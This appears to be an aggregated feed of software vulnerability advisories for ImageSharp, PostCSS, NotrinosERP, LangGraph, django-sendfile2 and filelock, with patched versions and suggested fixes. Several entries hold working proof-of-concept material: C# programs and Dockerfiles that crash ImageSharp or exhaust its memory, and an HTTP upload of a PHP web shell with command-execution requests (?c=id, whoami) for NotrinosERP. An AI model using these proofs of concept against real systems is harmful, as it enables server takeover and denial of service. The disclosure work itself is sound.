GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Summary

`SixLabors.ImageSharp` can terminate a process when an application decodes
an attacker-supplied 32-bit floating-point TIFF as `Image ` and applies
`HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range
`HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based
histogram index without validating that result, reaching an unsafe out-of-range
access.

This report covers `HistogramEqualization` only. It does not claim Adaptive
Histogram Equalization or AutoLevel behavior.

### Affected package and versions

- Package: `SixLabors.ImageSharp` (NuGet)
- Affected range: `>= 2.0.0, 
Fatal error. System.AccessViolationException: Attempted to read or write protected memory.
...
at SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke
...
at SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization
Docker exit status: 133
```

The control is identical except samples are `0.5`:

```text
mode=control tiffBytes=166 sample=0.5
decoded=8x1 pixel= 
completed
Docker exit status: 0
```

When the same exploit binary was invoked through a shell inside the container,
the shell printed `Aborted` and reported status 134. The direct `docker run`
result above is the result for the supplied Docker commands.

No active exploitation is known.

### Complete PoC files

Program.cs:

```csharp
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.PixelFormats;
using SixLabors.ImageSharp.Processing;

static class Program
{
 private static void AddEntry(List ifd, ushort tag, ushort type, uint count, uint value)
 {
 ifd.AddRange(BitConverter.GetBytes(tag));
 ifd.AddRange(BitConverter.GetBytes(type));
 ifd.AddRange(BitConverter.GetBytes(count));
 ifd.AddRange(BitConverter.GetBytes(value));
 }

 // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples.
 private static byte[] BuildTiff(float sample)
 {
 const int width = 8;
 const int entries = 10;
 const int ifdOffset = 8;
 const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;
 List file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00];
 List ifd = [];
 ifd.AddRange(BitConverter.GetBytes((ushort)entries));
 const ushort Short = 3, Long = 4;
 AddEntry(ifd, 256, Long, 1, width); // ImageWidth
 AddEntry(ifd, 257, Long, 1, 1); // ImageLength
 AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample
 AddEntry(ifd, 259, Short, 1, 1); // Compression = none
 AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero
 AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets
 AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel
 AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip
 AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts
 AddEntry(ifd, 339, Short, 1, 3); // SampleFormat = IEEE float
 ifd.AddRange([0, 0, 0, 0]);
 file.AddRange(ifd);
 for (int i = 0; i image = Image.Load (tiff);
 Console.Error.WriteLine($"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}");
 image.Mutate(x => x.HistogramEqualization());
 Console.Error.WriteLine("completed");
 }
}

```

Project file:

```xml

 Exe 
 net8.0 
 enable 
 enable 

 /root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll 

 /root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll 

```

Dockerfile:

```dockerfile
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY j3p4.csproj Program.cs ./
RUN printf '%s\n' ' net8.0 ' > fetch.csproj \
 && dotnet restore fetch.csproj --nologo \
 && rm fetch.csproj \
 && dotnet build j3p4.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/j3p4.dll"]

```

Run:

```sh
docker build -t imagesharp-j3p4-poc .
docker run --rm imagesharp-j3p4-poc exploit
docker run --rm imagesharp-j3p4-poc control
```

Affected package ranges reported by GitHub:
SixLabors.ImageSharp: >= 2.0.0, < 3.2.0
SixLabors.ImageSharp: >= 4.0.0, < 4.1.2
Action: GitHub lists first patched versions: SixLabors.ImageSharp: 3.2.0; SixLabors.ImageSharp: 4.1.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ImageSharp: ICC CLUT parsing allocates from unvalidated channel and grid dimensions
https://kevwire.com/record/CVE-2026-106114
ImageSharp: ICC CLUT parsing allocates from unvalidated channel and grid dimensions (Oct 7, 2026).
A malformed embedded ICC profile can make ImageSharp allocate memory from attacker-controlled CLUT channel and grid dimensions before verifying that the declared CLUT values are present.

In published v1 through v3 packages, the public lazy ICC parser allocates approximately 115 MB from the 200-byte test profile before rejecting the truncated tag. In published v4 packages, decoding with ICC conversion enabled requests an 860,934,420-byte managed float array from the same profile.
CVSS 5.3 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-gwg2-r3hj-4w44).
Sources:
GitHub-reviewed advisory GHSA-gwg2-r3hj-4w44: https://github.com/advisories/GHSA-gwg2-r3hj-4w44
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Summary

A malformed embedded ICC profile can make ImageSharp allocate memory from attacker-controlled CLUT channel and grid dimensions before verifying that the declared CLUT values are present.

In published v1 through v3 packages, the public lazy ICC parser allocates approximately 115 MB from the 200-byte test profile before rejecting the truncated tag. In published v4 packages, decoding with ICC conversion enabled requests an 860,934,420-byte managed float array from the same profile.

### Affected package and versions

- Package: `SixLabors.ImageSharp` (NuGet)
- Affected range: `>= 1.0.0-beta0001, = 4.0.0, BinaryPrimitives.WriteUInt32BigEndian(bytes.AsSpan(offset, 4), value);
 private static void U16(byte[] bytes, int offset, ushort value) => BinaryPrimitives.WriteUInt16BigEndian(bytes.AsSpan(offset, 2), value);
 private static void Ascii(byte[] bytes, int offset, string value) { for (int i = 0; i (1, 1);
 image.Metadata.IccProfile = new IccProfile(icc);
 using var output = new MemoryStream();
 image.Save(output, new PngEncoder());
 return output.ToArray();
 }

 public static int Main(string[] args)
 {
 string mode = args.Length == 1 ? args[0] : "exploit";
 if (mode is not ("exploit" or "control")) throw new ArgumentException("mode must be exploit or control");
 Console.WriteLine($"mode={mode} profile_bytes=200 requested_float_array={RequestedFloats} requested_bytes={RequestedBytes}");
 Console.WriteLine($"imagesharp_assembly={typeof(Image).Assembly.Location}");
 Console.WriteLine($"imagesharp_version={typeof(Image).Assembly.GetCustomAttribute ()?.InformationalVersion}");
 long before = GC.GetTotalAllocatedBytes(true);
 try
 {
 byte[] png = BuildPng(BuildTruncatedProfile());
 var options = new DecoderOptions
 {
 ColorProfileHandling = mode == "exploit" ? ColorProfileHandling.Convert : ColorProfileHandling.Preserve
 };
 using Image decoded = Image.Load(options, png);
 Console.WriteLine($"decoded={decoded.Width}x{decoded.Height} icc_present={decoded.Metadata.IccProfile is not null}");
 }
 catch (Exception exception)
 {
 Console.WriteLine($"observed_exception={exception.GetType().FullName}: {exception.Message}");
 }
 Console.WriteLine($"managed_bytes_allocated={GC.GetTotalAllocatedBytes(true) - before}");
 return 0;
 }
}

```

Project file:

```xml

 Exe 
 net8.0 
 disable 
 enable 

 /root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll 
 true 

 /root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll 
 true 

```

Dockerfile:

```dockerfile
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY gwg2.csproj Program.cs ./
# Restore only to obtain the published package. The repro project then uses a
# direct DLL reference so ImageSharp's package build target is not invoked.
RUN printf '%s\n' ' net8.0 ' > fetch.csproj \
 && dotnet restore fetch.csproj --nologo \
 && rm fetch.csproj \
 && dotnet build gwg2.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/gwg2.dll"]

```

Run:

```sh
docker build -t imagesharp-gwg2-poc .
docker run --rm imagesharp-gwg2-poc exploit
docker run --rm imagesharp-gwg2-poc control
```

Affected package ranges reported by GitHub:
SixLabors.ImageSharp: >= 4.0.0, < 4.1.2
SixLabors.ImageSharp: >= 1.0.0-beta0001, < 3.2.0
Action: GitHub lists first patched versions: SixLabors.ImageSharp: 4.1.2; SixLabors.ImageSharp: 3.2.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PostCSS: Quadratic complexity in flat selector parsing allows CPU exhaustion
https://kevwire.com/record/CVE-2026-104844
PostCSS: Quadratic complexity in flat selector parsing allows CPU exhaustion (Oct 5, 2026).
`.` and `#` are not word delimiters in the tokenizer, so a flat selector such as
`.a.a.a...` reaches `splitWord()` as a single word token carrying n class or id
indexes. Three passes scanned those index arrays linearly for every index,
making the parse O(n^2) in the number of indexes rather than in input length:
`uniqs()`, the `indices.forEach` loop, and the Sass-interpolation filter.
Parsing a 400 KB flat selector took ~34 s on a modern laptop, fully occupying a
single thread. A benign selector of identical byte size parses in tens of
milliseconds, so the cost is driven by the index count, not the input size.
The nesting depth of such a selector is 0, so the `maxNestingDepth` guard added
in 7.1.3 offers no protection.

Reachability is deployment dependent. Only consumers that parse untrusted,
attacker-supplied selectors synchronously in a request path are exposed, for
example CSS sanitizers, CSS-in-JS services and online playgrounds. Ordinary
build-time use on trusted sources is not affected.
CVSS 5.9 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-rj75-hqrm-r3gf).
Sources:
GitHub-reviewed advisory GHSA-rj75-hqrm-r3gf: https://github.com/advisories/GHSA-rj75-hqrm-r3gf
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Impact

`.` and `#` are not word delimiters in the tokenizer, so a flat selector such as
`.a.a.a...` reaches `splitWord()` as a single word token carrying n class or id
indexes. Three passes scanned those index arrays linearly for every index,
making the parse O(n^2) in the number of indexes rather than in input length:
`uniqs()`, the `indices.forEach` loop, and the Sass-interpolation filter.
Parsing a 400 KB flat selector took ~34 s on a modern laptop, fully occupying a
single thread. A benign selector of identical byte size parses in tens of
milliseconds, so the cost is driven by the index count, not the input size.
The nesting depth of such a selector is 0, so the `maxNestingDepth` guard added
in 7.1.3 offers no protection.

Reachability is deployment dependent. Only consumers that parse untrusted,
attacker-supplied selectors synchronously in a request path are exposed, for
example CSS sanitizers, CSS-in-JS services and online playgrounds. Ordinary
build-time use on trusted sources is not affected.

### Patches

Fixed in 7.1.6. The three passes now use Set membership tests, making parsing
linear in the number of indexes. There is no behaviour change: parsing is
byte-identical on a differential corpus of 8413 selectors.

### Workarounds

Cap the size of selectors accepted from untrusted sources before parsing.

Affected package ranges reported by GitHub:
postcss-selector-parser: >= 7.0.0, < 7.1.6
postcss-selector-parser: < 6.1.5
Action: GitHub lists first patched versions: postcss-selector-parser: 7.1.6; postcss-selector-parser: 6.1.5. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee "Documents" (doc_file)
https://kevwire.com/record/GHSA-qv4m-m73m-8hj7
NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee "Documents" (doc_file) (Jul 10, 2026).
```php
// hrm/manage/employees.php -> tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573)
$upload_dir = company_path().'/documents/employees';
if (!file_exists($upload_dir))
 mkdir($upload_dir, 0777, true);
$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];
if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }
```

There is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.
CVSS 8.8 (version 3.1; evidence as of Oct 25, 2026; https://github.com/advisories/GHSA-qv4m-m73m-8hj7).
Sources:
GitHub-reviewed advisory GHSA-qv4m-m73m-8hj7: https://github.com/advisories/GHSA-qv4m-m73m-8hj7
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
#### Summary
An authenticated user with the HR "Manage Employees" permission (`SA_EMPLOYEE`) can upload a file with an arbitrary extension through the employee **Documents** tab. The handler writes the raw client-supplied filename — extension intact — into a web served directory with no extension, MIME, or content validation, so a `.php` file is stored under the web root and executes as code, yielding remote code execution on the server.

#### Details
The document-upload branch in `hrm/manage/employees.php` (function `tab_documents()`) moves the uploaded file using the client filename verbatim:

```php
// hrm/manage/employees.php -> tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573)
$upload_dir = company_path().'/documents/employees';
if (!file_exists($upload_dir))
 mkdir($upload_dir, 0777, true);
$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];
if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }
```

There is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.

Reachability of the written file:
- `company_path()` resolves under the web root; `config.default.php` sets
 `$comp_path = $path_to_root.'/company'`, so uploads land in `company/0/documents/employees/`.
- The only `.htaccess` in the project is the repo-root one, which denies `.inc/.po/.sh/.pem/.sql/.log`
 only — it does **not** block `.php` and does **not** cover `company/`.
- The stored path is then echoed **unescaped** into a clickable "View" link
 (`hrm/includes/ui/employee_ui.inc` lines 153-154 — `file_path` concatenated straight into `href`),
 handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).

A crafted multipart `filename` containing `../` additionally enables path traversal (CWE-22) on PHP builds that do not basename `['name']`.

#### Proof of Concept
The upload is gated by authentication and CSRF, but **neither gates the file itself**. Prerequisites: an authenticated session with `SA_EMPLOYEE`; an existing employee (`employee_no`); a valid `doc_type_id`; and the session CSRF token. The CSRF field is **`_token`** (validated by`check_csrf_token()` against `$_SESSION['csrf_token']`), so first GET the Documents form to read the
hidden `_token`, then submit. Against your **own** local instance:

```http
POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1
Host: 
Cookie: 
Content-Type: multipart/form-data; boundary=b

--b
Content-Disposition: form-data; name="_token"

--b
Content-Disposition: form-data; name="doc_type_id"

--b
Content-Disposition: form-data; name="doc_name"

x
--b
Content-Disposition: form-data; name="doc_file"; filename="shell.php"
Content-Type: application/x-php

--b
Content-Disposition: form-data; name="save_document"

Save Document
--b--
```

Then request the stored file (its exact path is shown in the Documents tab's "View" link):

```http
GET /company/0/documents/employees/1_ _shell.php?c=id HTTP/1.1
```

The command in `c` executes on the server.

#### Validation (performed locally, no network)
The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's **verbatim** path/move logic wrote `company/0/documents/employees/1_ _shell.php` (attacker-chosen `.php` extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:

```
$ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id'
uid=501(...) gid=20(staff) ...
$ curl '.../ .php?c=uname%20-sm;whoami'
Darwin arm64
 
```

Caveats: (1) the harness used `copy()` in place of `move_uploaded_file()` because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (`poc/rce_demo.php`); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root `.htaccess` does not block `.php` and does not cover `company/`. The full HTTP flow additionally requires the auth + `_token` + `doc_type_id` prerequisites above, none of which inspect the file.

#### Impact
Remote code execution on the hosting server by any authenticated operator holding the delegable `SA_EMPLOYEE` role (not necessarily an administrator). If a deployment grants `SA_EMPLOYEE` only to administrators, treat privileges-required as High (CVSS ≈ 7.2).

#### Suggested fix
- Never use the client filename on disk. Store with a server-generated name and **no executable
 extension** (mirror `includes/ui/attachment.inc`'s `uniqid()` approach); keep the original name
 only as a DB label.
- Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the `pic`
 branch already does.
- Store uploads outside the web root, or drop an `.htaccess`/`web.config` in
 `company/*/documents/` that disables script execution (`php_admin_flag engine off`,
 `RemoveHandler .php`, `SetHandler none`).
- `htmlspecialchars()` the stored path before emitting the "View" link (fixes the secondary XSS).

#### Resources / credit
- Affected code: `hrm/manage/employees.php`, `hrm/includes/db/employee_document_db.inc`, `hrm/includes/ui/employee_ui.inc`.
- Reported by: **<Kasper Hong / Kasper Builds>**.

Affected package ranges reported by GitHub:
notrinos/notrinos-erp: <= 1.0.0
Action: Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### LangGraph: Namespace labels containing `.` reach other namespaces in Postgres and SQLite stores
https://kevwire.com/record/CVE-2026-115883
LangGraph: Namespace labels containing `.` reach other namespaces in Postgres and SQLite stores (Oct 23, 2026).
The Postgres and SQLite stores save a namespace as its labels joined with `.`, so `("tenant", "bob")` and `("tenant.bob",)` map to the same stored namespace. `put` rejected labels containing `.`, but `get`, `search`, `delete`, `list_namespaces`, their async versions, and ops passed directly to `batch`/`abatch` did not. A caller that could pass such a label could read, overwrite or delete items in another namespace.

`BaseStore` checked namespace labels only in `put`/`aput`. The other methods passed the namespace on unchecked, and `batch`/`abatch` checked nothing, including the `PutOp` items inside them. `PostgresStore`, `AsyncPostgresStore`, `SqliteStore` and `AsyncSqliteStore` turn a namespace into text with `".".join(namespace)`, so a label containing `.` resolved to the namespace whose labels it spells out:
CVSS 6.0 (version 4.0; evidence as of Oct 25, 2026; https://github.com/advisories/GHSA-6hmw-9432-67qq).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115883&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-6hmw-9432-67qq: https://github.com/advisories/GHSA-6hmw-9432-67qq
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115883&date=2026-10-25
### Summary

The Postgres and SQLite stores save a namespace as its labels joined with `.`, so `("tenant", "bob")` and `("tenant.bob",)` map to the same stored namespace. `put` rejected labels containing `.`, but `get`, `search`, `delete`, `list_namespaces`, their async versions, and ops passed directly to `batch`/`abatch` did not. A caller that could pass such a label could read, overwrite or delete items in another namespace.

### Details

`BaseStore` checked namespace labels only in `put`/`aput`. The other methods passed the namespace on unchecked, and `batch`/`abatch` checked nothing, including the `PutOp` items inside them. `PostgresStore`, `AsyncPostgresStore`, `SqliteStore` and `AsyncSqliteStore` turn a namespace into text with `".".join(namespace)`, so a label containing `.` resolved to the namespace whose labels it spells out:

- `get(("tenant.bob",), key)`, `search(("tenant.bob",))` and `list_namespaces(prefix=("tenant.bob",))` returned data stored under `("tenant", "bob")`.
- `delete(("tenant.alice",), key)` deleted the item stored under `("tenant", "alice")`.
- `batch([PutOp(("tenant.bob",), key, value)])` overwrote the item stored under `("tenant", "bob")`.

All releases of `langgraph-checkpoint-postgres` before 3.1.3 and `langgraph-checkpoint-sqlite` before 3.1.2 are affected. `InMemoryStore` compares namespaces as tuples and is not affected.

### Impact

You may be affected if you use one of these stores, rely on namespaces to keep users or tenants apart, and let untrusted input choose a namespace label that reaches a read, delete or `batch` call. Such input could read, overwrite or delete another tenant's items. Labels written through `put` could never contain `.`, so no stored data becomes unreachable after upgrading.

LangSmith Deployment: the HTTP store API already rejected such labels, but store calls made from graph code reached the same flaw. The Agent Server rejects these labels from versions 0.15.5 and 0.16.2. On LangSmith Cloud, new deployments and revisions already include the fix and existing deployments get it on their next revision; self-hosted deployments should upgrade.

### Remediation

Upgrade to `langgraph-checkpoint-postgres` 3.1.3 or `langgraph-checkpoint-sqlite` 3.1.2. Both require `langgraph-checkpoint` 4.3.0, where `get`, `search`, `delete` and `list_namespaces` reject labels that are empty, are not strings, or contain `.` with `InvalidNamespaceError`, and the Postgres and SQLite stores apply the same check to every op passed to `batch`/`abatch`. Stores outside this repository that turn namespaces into delimited text can call `langgraph.store.base.validate_op_namespace` for each op they run.

Affected package ranges reported by GitHub:
langgraph-checkpoint-postgres: < 3.1.3
langgraph-checkpoint-sqlite: < 3.1.2
Action: GitHub lists first patched versions: langgraph-checkpoint-postgres: 3.1.3; langgraph-checkpoint-sqlite: 3.1.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Directory traversal outside of SENDFILE_ROOT in django-sendfile2
https://kevwire.com/record/GHSA-6r3c-8xf3-ggrr
Directory traversal outside of SENDFILE_ROOT in django-sendfile2 (Jun 24, 2020).
django-sendfile2 currently relies on the backend to correctly limit file paths to `SENDFILE_ROOT`. This is not the case for the `simple` and `development` backends, it is also not necessarily the case for any of the other backends either (it's just an assumption that was made by the original author).

This will be fixed in 0.6.0 which is to be released the same day as this advisory is made public.
Sources:
GitHub-reviewed advisory GHSA-6r3c-8xf3-ggrr: https://github.com/advisories/GHSA-6r3c-8xf3-ggrr
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
django-sendfile2 currently relies on the backend to correctly limit file paths to `SENDFILE_ROOT`. This is not the case for the `simple` and `development` backends, it is also not necessarily the case for any of the other backends either (it's just an assumption that was made by the original author).

This will be fixed in 0.6.0 which is to be released the same day as this advisory is made public.

When upgrading, you will need to make sure `SENDFILE_ROOT` is set in your settings module if it wasn't already.

Affected package ranges reported by GitHub:
django-sendfile2: < 0.6.0
Action: GitHub lists first patched versions: django-sendfile2: 0.6.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### django-sendfile2 before 0.7.0 contains reflected file download vulnerability
https://kevwire.com/record/GHSA-pcjh-6r5h-r92r
django-sendfile2 before 0.7.0 contains reflected file download vulnerability (Aug 11, 2022).
Similar to CVE-2022-36359 for Django, django-sendfile2 did not protect against a reflected file download attack in version 0.6.1 and earlier. If the file name used by django-sendfile2 was derived from user input, then it would be possible to perform a such an attack. A new version of django-sendfile2 will be released. Either download django-sendfile2 0.7.0 as a workaround or sanitize user input yourself, using Django's patch as a template: https://github.com/django/django/commit/bd062445cffd3f6cc6dcd20d13e2abed818fa173
Sources:
GitHub-reviewed advisory GHSA-pcjh-6r5h-r92r: https://github.com/advisories/GHSA-pcjh-6r5h-r92r
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Similar to CVE-2022-36359 for Django, django-sendfile2 did not protect against a reflected file download attack in version 0.6.1 and earlier. If the file name used by django-sendfile2 was derived from user input, then it would be possible to perform a such an attack. A new version of django-sendfile2 will be released. Either download django-sendfile2 0.7.0 as a workaround or sanitize user input yourself, using Django's patch as a template: https://github.com/django/django/commit/bd062445cffd3f6cc6dcd20d13e2abed818fa173

Affected package ranges reported by GitHub:
django-sendfile2: < 0.7.0
Action: GitHub lists first patched versions: django-sendfile2: 0.7.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### filelock: ReadWriteLock on the hard-link route deletes any directory another user renames onto its .filelock-* link directory name
https://kevwire.com/record/CVE-2026-112937
filelock: ReadWriteLock on the hard-link route deletes any directory another user renames onto its .filelock-* link directory name (Oct 23, 2026).
`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) remove their private `.filelock-*` link directories with `shutil.rmtree` (a recursive delete) on a remembered path. They do not check that the path still names the directory they created. This happens on the hard-link route (a hard link is a second name for the same file). That route is every connection on macOS since 4.1.1 and any POSIX process without a usable `/proc/self/fd` (a Linux path that names the process's own open files), such as a chroot or container that does not mount `/proc`.

Another local user who can rename entries in the directory that holds the lock database can rename one of the directories of the user running the lock (below: the lock user) onto the link directory's name, or onto a forged dead-holder name. Such a lock directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The lock user's process then deletes that tree and everything in it with the lock user's permissions, and reports no error. Stock Linux with `/proc` mounted is not affected. Affected versions are filelock 4.1.0 through 4.2.0.
CVSS 6.1 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-jqc4-5cvw-7w85).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112937&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-jqc4-5cvw-7w85: https://github.com/advisories/GHSA-jqc4-5cvw-7w85
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112937&date=2026-10-25
`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) remove their private `.filelock-*` link directories with `shutil.rmtree` (a recursive delete) on a remembered path. They do not check that the path still names the directory they created. This happens on the hard-link route (a hard link is a second name for the same file). That route is every connection on macOS since 4.1.1 and any POSIX process without a usable `/proc/self/fd` (a Linux path that names the process's own open files), such as a chroot or container that does not mount `/proc`.

Another local user who can rename entries in the directory that holds the lock database can rename one of the directories of the user running the lock (below: the lock user) onto the link directory's name, or onto a forged dead-holder name. Such a lock directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The lock user's process then deletes that tree and everything in it with the lock user's permissions, and reports no error. Stock Linux with `/proc` mounted is not affected. Affected versions are filelock 4.1.0 through 4.2.0.

Anthropic's OSS Scanner reported this in private as `ANT-2026-LSSZIUEO` [high, CWE-367]: ReadWriteLock deletes any directory another user renames to .filelock-*.

## Severity

**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L` scores 6.1 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): two `rename` calls and no race against filelock's own code. `I:H` (high integrity impact): the other user destroys a directory tree owned by the lock user, and the lock user's program reports no error. `A:L` (partial availability loss): the Python 3.11 `RecursionError` variant makes the lock user's first lock construction fail. `C:N` (no confidentiality impact): the other user learns nothing. `S:U` (scope unchanged): the effect stays within the lock user's own privileges.

Classification from the external review: **conditional security**, a cross-user rename in a non-sticky shared parent that turns private-link cleanup into recursive deletion of the lock user's tree. The scanner rated it high. The review accepts the mechanism, notes that the macOS route rests on a Linux run with `/proc` hidden rather than on a run on macOS, and narrows the finding to that precondition and route.

## Scope and preconditions

- The other party is a different local account with write permission on the directory that holds the lock database, where that directory has no sticky bit. That is a `0777` directory, or a group-writable one (in a setgid `2775` directory a group member can rename the lock user's sub-directory the same way). Renaming an entry needs write permission on the parent only, not on the entry. Anyone who can write the parent can rename a `0700` directory of the lock user.
- Sticky directories (`/tmp` itself, any `1777` directory) stop the release variant: the rename of an entry owned by the lock user fails with `EPERM`. The dead-owner sweep still reaches a lock user's tree that sits inside a directory the other account owns there. That account may rename its own directory to a forged dead-owner name, and the lock user's sweep deletes everything inside it. The Python 3.11 `RecursionError` variant also works in a sticky directory.
- Platform and route. The lock user must connect through the private hard link. That is every `ReadWriteLock` or `AsyncReadWriteLock` on macOS (since 4.1.1, #820), or a POSIX process whose `/proc/self/fd/ ` (`/dev/fd/ ` elsewhere) does not exist, such as a chroot or container without `/proc`. Linux with `/proc` mounted connects through the descriptor and creates no `.filelock-*` directory (checked: none appears, also with two holders in one process), so stock Linux is not affected at 4.2.0. The macOS statement rests on the `descriptor_usable` branch at line 984 and `docs/how-to.rst`. The reproducer runs the same Python code on Linux with `/proc` hidden, which takes root and is test scaffolding, not a step the other user performs. Windows does not take this route.
- Target set. Only directories that sit in the shared parent itself, or that the other account can already write, are reachable. The kernel refuses to move a `0700` directory of the lock user in from another parent. A tree the other account can already write (a group-writable project tree created with umask `002`) is no gain, since that account can delete it without filelock. A lock user running as root deletes a tree of any owner.
- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.

## Affected code

At the scanned commit `b831496b0273`: [`_ForkSafeConnection.close` runs `shutil.rmtree` on the remembered `mkdtemp` path](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L290-L296). The path comes from [`retain_until_close`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L305-L307), set on the [link route in `_connect_through_descriptor`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L984-L1011), where [`descriptor_usable` is `False` on macOS](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L984). Three more `rmtree` sites sit in [`_link_beside`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1014-L1029) (lines 1023 and 1026) and the connect's `finally` (line 1011). T

Affected package ranges reported by GitHub:
filelock: >= 4.1.0, <= 4.2.0
Action: GitHub lists first patched versions: filelock: 4.2.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### filelock: ReadWriteLock on Windows acts on SQLite side files another local user places beside its database
